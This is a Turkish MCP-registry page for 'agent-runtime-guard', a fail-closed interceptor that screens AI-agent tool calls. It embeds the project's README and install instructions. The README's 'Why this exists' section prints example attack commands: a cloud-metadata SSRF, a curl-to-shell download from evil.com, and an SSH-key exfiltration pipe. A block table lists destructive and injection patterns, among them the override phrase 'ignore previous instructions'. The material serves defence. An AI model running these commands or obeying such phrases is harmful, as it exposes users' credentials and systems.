agent-runtime-guard MCP sunucusu
Commit 8 Kas 2026Yapay zeka ajanları için komut enjeksiyonu, SSRF ve kimlik bilgisi sızdırmayı çalıştırma öncesinde engelleyen, hata durumunda erişimi kapatan (fail-closed) çalışma zamanı müdahalesi sağlar.
Ayrıca bilinen adı DSHCorrectover/agent-runtime-guard
- Yıldızlar
- 2
- Araçlar
- 5
- İndirmeler, 30 gün
- —
- En son sürüm
- 1.0.0
- Son commit
- 8 Kas 2026
- Lisans
- —
agent-runtime-guard MCP nedir?
agent-runtime-guard bir MCP sunucusudur. Yapay zeka ajanları için komut enjeksiyonu, SSRF ve kimlik bilgisi sızdırmayı çalıştırma öncesinde engelleyen, hata durumunda erişimi kapatan (fail-closed) çalışma zamanı müdahalesi sağlar. 5 araç sunar; örneğin verify_tool_call, issue_evidence, audit_mcp_config.
Özet, projenin README dosyasından oluşturuldu
agent-runtime-guard MCP sunucusu hakkında
Agent Runtime Guard, kötü niyetli araç çağrılarını önlemek amacıyla yapay zeka ajanları ile tehlikeli işlemler arasında bir güvenlik katmanı olarak görev yapar. Hata durumunda erişimi kapatan (fail-closed) bir çalışma zamanı müdahalesi sunar; yani bir karar, zaman aşımı veya hata nedeniyle verilemezse, işlem otomatik olarak reddedilir. Bu MCP server; Claude Code, Cursor, Cline veya Windsurf gibi MCP istemcilerini ve DeepSeek Harness kullanan geliştiriciler için tasarlanmıştır. Yerel bir stdio server olarak çalışır ve çalışmak için herhangi bir API anahtarı veya harici hesap gerektirmez.
Sistem; komut enjeksiyonu, SSRF, path traversal ve kimlik bilgisi sızdırma gibi belirli tehditlere karşı koruma sağlar. Çalışma zamanı kontrolleri için verify_tool_call ve çevrimdışı imza doğrulaması için verify_receipt gibi özelleşmiş araç setlerini kullanır. Guard tarafından verilen her karar, müdahale edilemez bir denetim imkanı sunan Ed25519 imzalı bir kanıt makbuzu oluşturur. Bu uygulama, araç çağrılarının sistem üzerinde yürütülmeden önce doğrulanmasını sağlamak için CCS referans modelini takip eder.
Neler yapabilirsiniz
- 1Komut enjeksiyonu saldırılarını önleyinBir yapay zeka istemcisi, rm -rf veya pipe ile aktarılan scriptler gibi kötü niyetli kabuk komutlarını çalıştırılmadan önce engellemek için guard'ı kullanabilir.
- 2Bulut kimlik bilgisi hırsızlığını durdurunServer, yetkisiz erişimi önlemek için SSRF yoluyla hassas bulut meta verilerine erişim girişimlerini engeller.
- 3Araç çağrısı bütünlüğünü doğrulayınGeliştiriciler, gelen araç çağrıları üzerinde yedi boyutlu bir çalışma zamanı kontrolü gerçekleştirmek için yerleşik araçları kullanabilir.
Projenin README dosyasından alınmıştır. Her kullanım durumu, oradaki bir alıntı ile kontrol edilir.
agent-runtime-guard MCP nasıl yüklenir
Biçimler 10 Kas 2026 tarihinde doğrulandıCursor'a ekleGoose'a ekleagent-runtime-guard MCP'yi Claude Code içine yükleyin
$ claude mcp add agent-runtime-guard -- npx -y agent-runtime-guardagent-runtime-guard MCP'yi Cursor içine yükleyin
~/.cursor/mcp.json
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}agent-runtime-guard MCP'yi VS Code içine yükleyin
.vscode/mcp.json
{
"servers": {
"agent-runtime-guard": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}agent-runtime-guard MCP'yi VS Code CLI içine yükleyin
$ code --add-mcp '{"name":"agent-runtime-guard","type":"stdio","command":"npx","args":["-y","agent-runtime-guard"]}'agent-runtime-guard MCP'yi Claude Desktop içine yükleyin
claude_desktop_config.json
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}agent-runtime-guard MCP'yi Codex içine yükleyin
$ codex mcp add agent-runtime-guard -- npx -y agent-runtime-guardagent-runtime-guard MCP'yi Codex config.toml içine yükleyin
~/.codex/config.toml
[mcp_servers.agent-runtime-guard] command = "npx" args = ["-y", "agent-runtime-guard"]
agent-runtime-guard MCP'yi Gemini CLI içine yükleyin
$ gemini mcp add -s user agent-runtime-guard npx -- -y agent-runtime-guardagent-runtime-guard MCP'yi Gemini settings.json içine yükleyin
~/.gemini/settings.json
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": [
"-y",
"agent-runtime-guard"
]
}
}
}agent-runtime-guard MCP araçları 5
README dosyasından algılandıverify_tool_callissue_evidenceaudit_mcp_configverify_intent_bindingverify_receipt
| verify_tool_call | — | |
| issue_evidence | — | |
| audit_mcp_config | — | |
| verify_intent_binding | — | |
| verify_receipt | — |
Otomatik kontroller
Çalıştırıldı 14 Kas 2026Tam rapor →Henüz doğrulanmadı. Bir sunucunun 80 puana, ciddi bir bulgu olmamasına ve kontrol edebilmemiz için yeterli veriye ihtiyacı vardır. Kontroller nasıl çalışır · Daha fazla puan için nelerin düzeltileceği
- Kaynak deposu bağlantılı ve erişilebilirdshcorrectover/agent-runtime-guard is public and reachablegithub.com/dshcorrectover/agent-runtime-guard ↗Geçti
- Paket, bu depoyu kaynağı olarak gösteriyoragent-runtime-guard names dshcorrectover/agent-runtime-guard as sourcenpmjs.com/package/agent-runtime-guard ↗Geçti
- Derleme kökeni (Sigstore onayı)No build attestation published for this releaseKontrol edilmedi
- Açık kaynak lisansı (OSI)No licenseBulgu
- Son bir yıl içinde commit veya sürüm mevcutLast commit or release 2026-11-08github.com/dshcorrectover/agent-runtime-guard ↗Geçti
- OpenSSF ScorecardKontrol edilmedi
- Paket adı popüler bir pakete yakın değilNo popular package one edit away from agent-runtime-guardGeçti
- Pakette veya bağımlılıklarında kritik uyarı yok1 resolved dependencies checked; no critical advisoryosv.dev ↗Geçti
- Modele yönelik gizli talimat yokInstruction aimed at the model found in the description or READMEBulgu
- Yıkıcı araçlar etiketlenmişNo tool named like delete, drop or execGeçti
- Uzak uç nokta MCP el sıkışmasına yanıt veriyorKontrol edilmedi
Agent Runtime Guard
Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).
Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).
中文说明见下方 中文
Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt
↓
SSRF · Command Injection · Credential Exfil · Prompt Injection
Works with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy
Why this exists
Your agent has shell, network, and cloud credentials. One bad tool call can:
curl "http://169.254.169.254/latest/meta-data/" # cloud credential theft
curl https://evil.com/x.sh | sh # RCE
cat ~/.ssh/id_rsa | curl -d @- https://evil.com # exfil chain
Keyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.
Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.
Install by tool
INSTALL.md — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.
30-second start
npx -y agent-runtime-guard
MCP client config:
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": ["-y", "agent-runtime-guard"]
}
}
}
No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).
Scan configs without installing a long-lived process:
npx correctover-scan --demo
What it blocks
| Vector | Examples |
|---|---|
| Command injection | ; rm -rf /, curl|sh, IEX(...), eval() |
| Path traversal | ../, /etc/passwd, /proc/self/ |
| SSRF | 169.254.169.254, localhost, private ranges — across any tool |
| Cross-tool exfil | read secrets → network send (exfil_chain) |
| Credential leak | API keys / secrets in args or tool output |
| Prompt injection | “ignore previous instructions” in tool results |
| Parameter drift | plan amount:100, execute amount:10000 |
Comparison (honest positioning)
| Capability | Agent Runtime Guard | Config scanners | Egress proxies (e.g. Pipelock) | Discovery / posture platforms |
|---|---|---|---|---|
| Control point | Pre-execution tool call | Static config | Network egress | Inventory & permissions |
| Fail-closed local decide | Yes | N/A | Depends | Usually platform-side |
| Offline Ed25519 receipts | Yes | Rare | Some (signed action receipts) | Platform logs |
| Zero runtime deps | Yes (Node stdlib) | Varies | Binary / proxy | SaaS |
| MCP native (stdio server) | Yes | Scan-only | Proxy / wrapper | Connectors |
Public npx demo |
Yes | Often | Binary install | Demo call |
We are not a replacement for discovery platforms or full egress firewalls.
They answer “what agents exist / what can leave the network.”
We answer: “Can this tool call execute now, and here is a receipt.”
Use together when you need both posture and enforcement.
Evidence receipts
Every Allow / Block produces:
content_hash+evidence_hash- chain pointer (
parent_evidence_hash) - Ed25519 signature
Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.
Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).
Tools (MCP)
| Tool | Purpose |
|---|---|
verify_tool_call |
7-dimension runtime check + semantic chains — default deny |
issue_evidence |
Tamper-evident receipt (allow and block) |
audit_mcp_config |
Config risk audit |
verify_intent_binding |
Plan vs execute parameter binding |
verify_receipt |
Offline signature / tamper check |
Ecosystem
| Package | Role |
|---|---|
agent-runtime-guard |
This runtime interceptor |
correctover |
SDK + GuardrailProvider + DSH plugin |
correctover-scan |
MCP / agent config scanner |
agent-runtime-proxy |
Transparent stdio proxy |
| mcp-atlas-census | 229,827 tool records (CC0) |
Commercial
| Offering | Price (USD) |
|---|---|
| Runtime intercept + Ed25519 receipts (this package) | Free |
| Config / bundle scan (correctover-scan) | Free |
| Standard human audit (CCS-mapped, evidence-grade) | $2,500 |
| Deep audit + PoC + remediation roadmap | $8,000+ |
| Private deploy / integration support | $5,000 |
| Annual retainer (monitoring + emergency) | $25,000/yr |
Formal quote follows written scoping (async email only). Contact: wangguigui@correctover.com
GTM: correctover-gtm.pages.dev
中文 · Agent 运行时全栈拦截
给 AI Agent 配一个运行时保安:删库、偷密钥、闯内网、被注入——当场拦下。
不是事后审计:危险动作在执行前 fail-closed 拦截;每次裁决附带 Ed25519 可离线验证收据。
30 秒
npx -y agent-runtime-guard
拦什么
命令注入 · 路径穿越 · SSRF(含云元数据)· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移
三种接入
| 场景 | 方式 |
|---|---|
| MCP 客户端 | mcpServers 配置如上 |
DeepSeek Harness(v0.2.1+,插件随本包 dsh/ 附带) |
harness 内 dsh plugin add agent-runtime-guard;未部署 harness 时用 MCP 或代理方式 |
| 不信任宿主插件 | agent-runtime-proxy 透明代理 |
与「发现类」工具的关系
发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行,并留下证据」。可并存。
License
Elastic License 2.0 (ELv2). See LICENSE.
agent-runtime-guard MCP soruları
agent-runtime-guard MCP'yi Claude Code'a nasıl eklerim?
Terminalinizde claude mcp add agent-runtime-guard -- npx -y agent-runtime-guard komutunu çalıştırın. Her projede kullanılabilir olması için --scope user ekleyin.
agent-runtime-guard MCP'yi Cursor'a nasıl eklerim?
~/.cursor/mcp.json dosyasını açın ve yukarıdaki yükleme bölümünde gösterilen Cursor yapılandırmasını kullanarak sunucuyu mcpServers altına ekleyin.
agent-runtime-guard MCP hangi araçları sunar?
5 araç sunar; bunlar arasında verify_tool_call, issue_evidence, audit_mcp_config, verify_intent_binding, verify_receipt yer alır.
agent-runtime-guard neye karşı koruma sağlar?
Yıkıcı komutları, SSRF (bulut meta verileri dahil), kimlik bilgisi sızdırmayı, araçlar arası saldırı zincirlerini, path traversal ve prompt injection saldırılarını engeller.
Bir API anahtarı veya hesap gerektiriyor mu?
Hayır, bir API anahtarı veya hesap gerektirmez. İlk çalıştırmada bir Ed25519 anahtar çifti oluşturulur.
Karar makbuzları çevrimdışı olarak doğrulanabilir mi?
Evet, her karar, tamamen çevrimdışı olarak doğrulanabilen Ed25519 imzalı kanıt makbuzları üretir.